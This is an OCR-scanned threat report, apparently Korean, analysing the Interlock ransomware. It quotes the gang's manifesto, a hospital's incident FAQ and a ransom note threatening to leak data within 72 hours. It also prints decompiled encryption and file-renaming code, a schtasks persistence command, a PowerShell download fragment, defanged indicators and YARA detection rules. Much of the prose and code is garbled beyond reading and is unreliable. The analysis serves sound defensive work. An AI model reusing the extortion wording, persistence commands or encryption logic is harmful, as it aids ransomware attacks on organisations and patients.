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We are INTERLOCK, a relentless collective that exposes the recklessness of companies

failing to protect their most critical assets: customer data and intellectual property. We
exploit the vulnerabilities they leave wide open, delivering a harsh but necessary wake-
up call to those who think they can cut corners on security.

In 2024, the numbers speak for themselves: ransomware attacks surged by over 20% in
just the second quarter, with more than half of the world’s top breaches directly linked
to corporate negligence. Corporations continue to mishandle sensitive information,
leaving 60% of breaches rooted in avoidable security flaws. This isn’t just
incompetence it’s indifference. And we’re here to show them the consequences of
that carelessness.

We don’t just want payment; we want accountability. Our actions send a message to
those who hide behind weak defenses and half-measures: your data is only as safe as
the effort you put into protecting it. If you don’t take data security seriously, we will on
your behalf. Pay attention or pay the price.
In this digital age, there's no excuse for complacency. When companies neglect cybersecurity, we make them pay not just with ransoms, but with
lessons they won’t forget. We are here to enforce the standards they fail to uphold.
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Kettering Health

Cybersecurity Incident

Frequently Asked Questions

Since Tuesday, May 20, our priority has been to continue providing safe patient care while securing

our systems and restoring the services our patients expect from Kettering Health.

As of today, Kettering Health has resumed normal operations for several key services. With this
transition, we've created an FAQ to provide additional information for our community as we move into

the next phase of our recovery. Thank you for your patience.

Exactly what happened? —|—

Who did this? —

Based on our investigation, we believe the incident was carried out by a

ransomware group called|Interlock| The matter is under investigation by

cybersecurity experts and law enforcement.
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powershell.exe -Command Invoke-WebRequest -U OutFile

[System.IO0.Path]::Combine(

[System.I0.Path]::GetDirectoryName(
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html 2025-10-02 S% 1:57 oz =4

|_] ELF secticns.txt INT3RLOCK 2025-10-02 2% 157 INT3RLOCK b 2KB

|=| FIRST_READ_ME.txk 2025-10-02 S% 1:57 HAE BN 3KB

|_] Functions.tt INT3RLOCK 2025-10-02 2% 157 INT3RLOCK b B7KB

| | Libraries.bet INT3RLOCK 2025-10-02 S% 1:57 INT3RLOCK It 1KB

| ] PEsections et INT3RLOCK 2025-10-02 2% 157 INT3RLOCK b 14KB
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Final Warning: Your Data Is at Risk

To the Leadership of Your Organization

We have encrypted your systems and extracted sensitive information from your network. Your organization's failure to prioritize cybersecuri

>

What You Need to Know:

1. We have seized key documents, customer information, and confidential business data.

2. Access to these files has been locked with advanced encryption.

3. Responsibility for this breach lies with your organization, as you are obligated by law to protect Non-Public Information (NPI).

Legal and Financial Risks:

If you fail to act within 72 hours, we will begin publishing your data on our leak platforms. The consequences will include:
- Violations of laws such as GDPR, HIPAA, CCPA, GLBA, and NYDFS Cybersecurity Regulation.

- Severe fines for non-compliance and lawsuits from affected parties.

- Long-term reputational damage to your business, leading to client and partner losses.

Your Actions:
To prevent escalation, you must cooperate immediately.

1. Access our Recovery Platform via TOR Browser:
- Download TOR from [https://www.torproject.org](https://www.torproject.org).
- Open: http://e u x = H & = maoonion/chat.php
- Use your Organization ID -, N E ! J . to create a private negotiation ct
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e EEEE
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« ChaCha20-2EJ 4%

. SHA256- 8|4 &4

» RSA-H|UY 453} (7] 258)

FUN_B8809a56 - AES 27|33}

« 7] 37): 16,24, 32 H}0] E (128/192/256-bit)
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Hm HA (371)
1. param_1 = input_k

2. param_2 2 ke

3.8 param_3 > e

215H7] 218K ClaudeOf| Al gH==E 1t

vy (aes_key_expansion)

e_bits (aes_key_expansion)

HEs| HEo 24717F S gA g7t of

ded_key (aes_key_expansion)

undefineds
uint *
int

uint *

undefineds __fastcall|aes_key_expansicnkuint * input key...

BR¥:
RCH: !
EDX:4
BE:8

(s ]

<BETUEN:
input key

key size bits

expanded key
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Ghidra MCPS T8¢ £7| 2A2 st ZzIo| Cht AN T2 =%t $0f, 0|2 sigos oty
242 TSt

CH22E HIO| L2 2E, ClickFix A 522 HsiAte] pCof| a8z HYMLHH, Interlock Y0 =
X733 HHEE DA A S TSIt —s, -d, -f, -r QIXI7F EXWSH=H| 242 system, directory, file, release-filesS
ojnjsiof 2E cato|e A, ClaER) %*?zih O} gl W AHS ojojgtct
if ({({cVar2 = "-") && (pcVar3i[l] = "d")) && (pcVar3i[2] == "\0")) ||
{iVar4 = FUN_000362b0(), iVard = 0)) break;
if [{{{cVar2 != "=} || {pcVar3[l] !'= "£')) || (pcVar3[2] != "%0')) ss
{iVar4 = FUN_000362b0(), iVard '= 0)) {
iVar4 = FUN_000362k0O() >
if ((iVardi = 0) || (iVardi = FUM_000362k0({}), iVard = 0)) {
DAT_00049480 = 1;
}
elae |
if {({{{cVar2 = "-") g& (pcVari[l] == "=2")) && (pcVar3[2] == "0"})) ||
{iVar4 = FUN_000362b0(), iVard == 0)) |
flag syatem mode = 17
return;
1
1f {{{cVard == "-") && (pcVari[l] == "r")) && (pcVari[2] == "»0")) |
flag delete_or_release = 1;
}
else |
iVard = FUN 000362k0O();
if (iVard == 0) |
flag_delete_or_release = 1;
1
1
}
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o AZH
7|3 N HEE Ohe MY 2 2, oY A5 E 2{SH recursive_directory_traversal() 28 Soff 2= ItYS
&0 Lot A OtYS ATHSH] MEBHT}

9 = {undefined3 *)lopen_directoryl(pcVarl):

= (longlong)puVar;

if (puVars == (undefinedd *)0x0) {
FUN_00036220()
LLE 00001d81:

FUON_00036220() 7

return;

do {
LLE 00001dea:

by = find next_file(puVard);
Farl0 !'= {(undefined8 *)0x0) |

= 0x4000) {
if {{*{short *) (i 10 + 1) !'= 0x2e) &&
{{*{short *)(f 10 + 1) != Ox2e2e || (*(char *) ({longlong)puVacll + L0} I= "“0")))) {
uVarl2 = [check_esxcluded_directory ()]
if ({charjuVarlz == "\0') goto code_r0x0000leed;

1

else if (0 < local 270) |

uvare =|chec.}:_file_ex.tensicnk(lcnglcng:l {puVarl0 + 1) ,puVarl3,param 3);
if {{charjuVare == "\0") {
skip excluded file():

ack_24a[({longlong)iVard + 2] = "\0';
r9);

if {puVarll == (undefinedd *)0x0) break;
} while{ true );

0 = find next file(pu

opendirectory) £ Sl CIFERS €1 LY== 7IH2C0H O7[A HMelafotsts L&

T
= —
M| 2| CHAO] Of:l C| & & 2|0 M= check_file_extension() &S

i

check_excluded_directory

Sofl T =YAE =elot
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init random number gensrator();

derive_encryption_key (DAT 00041=al);

{* DAT 0004e=53608) {local 43);
_DAT 0004%4cd = (local 28 - 1) + (uint) (local 28 < 2);

init_aes_cipher context({undefined4 *)0x494b0);
getup aes key schedule ({longlong *)0x4594kE, (uint *) 0x454b0) ;
init aes cipher context({undefinedd4 *)0xd94z4);
setup ass key schedule ((longlong *)0x494a3, (uint *)0xdSdad);

o

_DAT 00045440 = (undefinedd *)FUN_00036248();
puVarl = DAT + 0x30;

= ddot 7|5 Yo R OiY Yoohs T Mt @footAl 02 F2lE INT3RLOCK 52| 2HdAt=z

bQIXE gk & —r 21AF 410 EXYOH| o™ nte

strcat(Dest, “[INT3RLOCKD);
if (3 rename(,)J rce, Dest)
|l (result = fn_check_coercive_flag(), result) && (fn_kill_process(Source), (result = j_rename(Source, Dest)) == @) )
if ( fn_encrypt_RSA(AES_key_iv, 48, Buffer, &ElementCount) == -1 || ElementCount != 512 )
{
j_fclose(v3);
return j_rename(Dest, Source);

}

tCount = 514;
mw_seek_stream(v3, @, 2);
j_fwrite(Buffer, 1u, ElementCount, v3);
mw_seek_stream(v3, @, @);
(fn_encrypt_file)(v3);
return j_fclose(v3);

}

return result;
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Mg oHHEE MO 7F ML= Z40| OfL 2} 2 FEA T X|HHo2 MAHE 4= UZ=E Windows &f
&0 Z2E0MS SEDIL} Interlock THARO = schtasks HHOE Sl &Y AHEHE
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|>

n =
AIZHOI| SE TaskSystem” S AT O] A10] HAL|TH 22|X; ASto = YOS LSt 2=
EZo[Eo| A2 2 IS0 THol A2 ofE TIlotrt.

uVar7 = FUN_00036308()
format_schtasks command

i J,uVar7,slocal c28);

S C

t

H
i
o
i

{{longlong) local 1 828,35 _schtasks_
']']']3(.2&']{:! H
FUN_000362e0()
FUN_0003€2e0()
FUN_00036220()

/sc DRILY /tm "

<2117> schtasks E20] A4

MEEl= B0 = ofefet 2Lt
Jcreate - A 2R A, /sc DAILY : @Y HEE, /tn “Tasksystem” : Windows € ==0f| EA|E 0|5

/tremd /C .7 AR E B, /5t 2000 : OHY 22 8A| M, /ru system : A|AE AF o2 Mol (X0 #Bh

3_schtasks_/create_/sc DAILY /tn_"_ 00039090 XREF[2]: format_schtasks_command:00002744..
register_system persistence:0000...
00039090 73 &3 &8 ds "schtasks fcreate /sc DRILY /tn \"TaskSystem\"...
74 €1 73
&b 73 20
3_-—agyatem 000390L0 XREF[2]: register system persistence:0000...
register_system persistence:0000...
000380£0 2d 24 73 ds
79 73 T4
&5 &d 00
3_schtasks_/delete_/tn_TaskSystem /_ 00035100 XREF[3]: register_ system persistence:0000..
register_system persistence:0000...
register_system persistence:0000...
00039100 73 &3 &8 ds "schtasks /delete /tn TaskSystem /£ > nul™
74 €1 73
&b 73 20 .
3_schtasks_/run_/tn_TaskSystem > n 00039130 XEEF[1]: register_system persistence:0000..
000358130 73 €3 &8 ds "schtasks /run /tn TaskSystem > nul"l
74 €1 73
&b 73 20
000358153 00 27 00h

<2l 18> MM =l schtasks B O
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undefinedl local 2128 [512];
[512]1:
[1024];

40) {0, local_818,0x200) ;

{
= generate random uuid({);
generate random uuid();
FUN_00036232() ;
format_ransom note_message

{{longlong) local 618,s %s/tmpid.wasd_0
FUN_00036200() ;
=0 |
FUN_00036230() 7
FUN_000361e3();
format ransom note_message

4,uVars, {ulonglong) (uVar3d ~ uVard));

({longlong) local 41%,s rundll3Z.exe %3,run %3 000390735, {(ulonglong)local €18,
local 818);
bVarl = execute_ransom note display({local 418);

return BEVarl;

return false;
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1} €}9): Windows PE 413 1} (DLL)

At 3: GCC13.2.0 (MSYS2), GCC 12 (MinGW-w64)
o3 = 3%: W9 o] (Ransomware)

HAx: A 1% =5 (Critical)

¢ 72715

1.7 5t A 2

« ¢312]3: AES (Rijndael), GCM 2=, ChaCha20, RSA
« 3|A]: SHA256

» 2to]B2j2): LibTomCrypt (A2 &53} eto]2el )

<18 20> Ghidra MCPE &2 24 /12

AEFo=7dE 1F PS5 =, S 22 S 7RU:
1. 723 453 AES-GCM + RSAE B E71=
2. 747: 3 AAER E T ALY
3.9 34: A 28] P/ §AI5He] ARSA wH AT EL
4. 94 3]5]: Windows Defender 3|1 3 A T2 A~ 917

5. IQE] A..E-“'l‘_' I]H].E O}iﬂl—;_ﬁii

A A A LA Desie], 4 A W Sdo] FAT S E Ao

B2A gd#-2025-10-22
£ =3 Ghidra, x64dbg
23] %: @ CRITICAL

<2 21> Ghidra MCPE &%t 24 48
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SHA256
a26f0a2da63a838161a7d335aaa5e4b314a232acc15dcabdb6f6dbec63cdab42
€9920e995fbc98cd3883ef4c4520300d5e82bab5d2a5¢781e9e9fe694a43e82f
€86bb8361c436be94b0901e5b39db9b6666134f23cce1e5581421¢2981405ch1

URL
hxxp[:]//23[.195[1182[.]59/31279geuwtoisgdehbiuowaehsgdb/cht
hxxp[:]1//23[.195[.]182[.]59/31279geuwtoisgdehbiuowaehsgdb/kig
hxxps[]//apple-online[.]shop/ChromeSetup[.]exe
hxxps[:]//rvthereyet[Jcom/wp-admin/images/rsggj[.Jphp

IP
23[]95[.1182[]59
195[]201[]21[]34
159[]223[.]46[]184
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7) YARA

rule Interlock_Ransom_Note_and_File_Extension
{
meta:
description = "Detects Interlock ransomware based on ransom notes and file extensions”
author = "Piolink"

date = "2025-10-23"

strings:
$ransom_notel = "I_README__!txt" ascii wide
$ransom_note2 = "FIRST_READ_ME.txt" ascii wide
$ransom_note3 = "IREADMELxt" ascii wide

$extension = "interlock" ascii wide
$extension2 = "INT3RLOCK" ascii wide

$extension3 = "Int3rlock" ascii wide

$content = "Final Warning: Your Data is at Risk" ascii wide

$content? = "act decisively to avoid catastrophic outcomes" ascii wide
$content3 = "Worldwide Secrets Blog" ascii wide

$content4 = "interlock@2mail.co" ascii wide nocase

$content5 = "To the Leadership of Your Organization" ascii wide

$contentb = "We have encrypted your systems and extracted sensitive information" ascii wide

condition:

uint16(0) == Ox5A4D and

(
(1 of ($ransom_note*) and 1 of ($extension*)) or
(1 of ($ransom_note*) and 2 of ($content*)) or
(1 of ($extension*) and 3 of ($content*))

)and

filesize < 5MB
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rule Interlock_ RAT
{
meta:
description = "Detects Interlock RAT"
author = "Piolink"

date = "2025-10-23"

strings:
$fakel = "ChromeSetup.exe” ascii wide nocase
$fake2 = "upd_" ascii wide

$fake3 = "Update.exe" ascii wide nocase

$persist! = "$env:APPDATA" ascii wide
$persist2 = "Start MenuWProgramsw#Startup" ascii wide

$persist3 = "CreateShortcut" ascii wide

$c2_1 = "Invoke-WebRequest" ascii wide
$c2_2 = "FromBase64String" ascii wide
$c2_3 = "NetWebClient" ascii wide

condition:

uint16(0) == 0x5A4D and

(
(1 of ($fake*) and 2 of ($persist*)) or
(1 of ($fake*) and 2 of ($c2_*)) or
(2 of ($persist?) and 1of ($c2_*)

)and

filesize < 10MB
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